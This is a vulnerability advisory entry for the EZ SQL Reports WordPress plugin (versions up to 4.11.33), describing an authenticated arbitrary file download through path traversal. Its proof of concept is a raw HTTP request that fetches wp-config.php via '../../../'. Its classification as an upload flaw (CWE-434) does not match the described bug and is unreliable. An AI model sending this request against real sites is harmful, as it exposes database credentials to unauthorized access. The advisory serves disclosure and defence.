EZ SQL Reports <= 4.11.33 - Authenticated Arbitrary File Download



Description
The plugin allows a WordPress site administrator or collaborator to download arbitrary files from the host file system though the plugin functionality of downloading .sql, .sql.zip or .sql.gz files created by the WordPress administrator.

The file name to download is not sanitized and path traversal can be
injected in the request.
Proof of Concept
GET /wp-admin/admin.php?page=ELISQLREPORTS-settings&Download_SQL_Backup=../../../wp-config.php
HTTP/1.1
Host: <the host with the wordpress>
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: <User-Agent>
Referer: http://<the host with the
wordpress>/wp-admin/admin.php?page=ELISQLREPORTS-settings
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6
Cookie: wordpress_[...etc...]4af418c3efd

Affects Plugin

References

ExploitDB 38176

Classification

Type UPLOAD
CWE CWE-434

Miscellaneous

Submitter Felipe Molina
Submitter Twitter felmoltor
Views 4232
Verified No
WPVDB ID 8184

Timeline

Publicly Published 2015-09-14 (almost 5 years ago)
Added 2015-09-15 (almost 5 years ago)
Last Updated 2019-10-29 (9 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin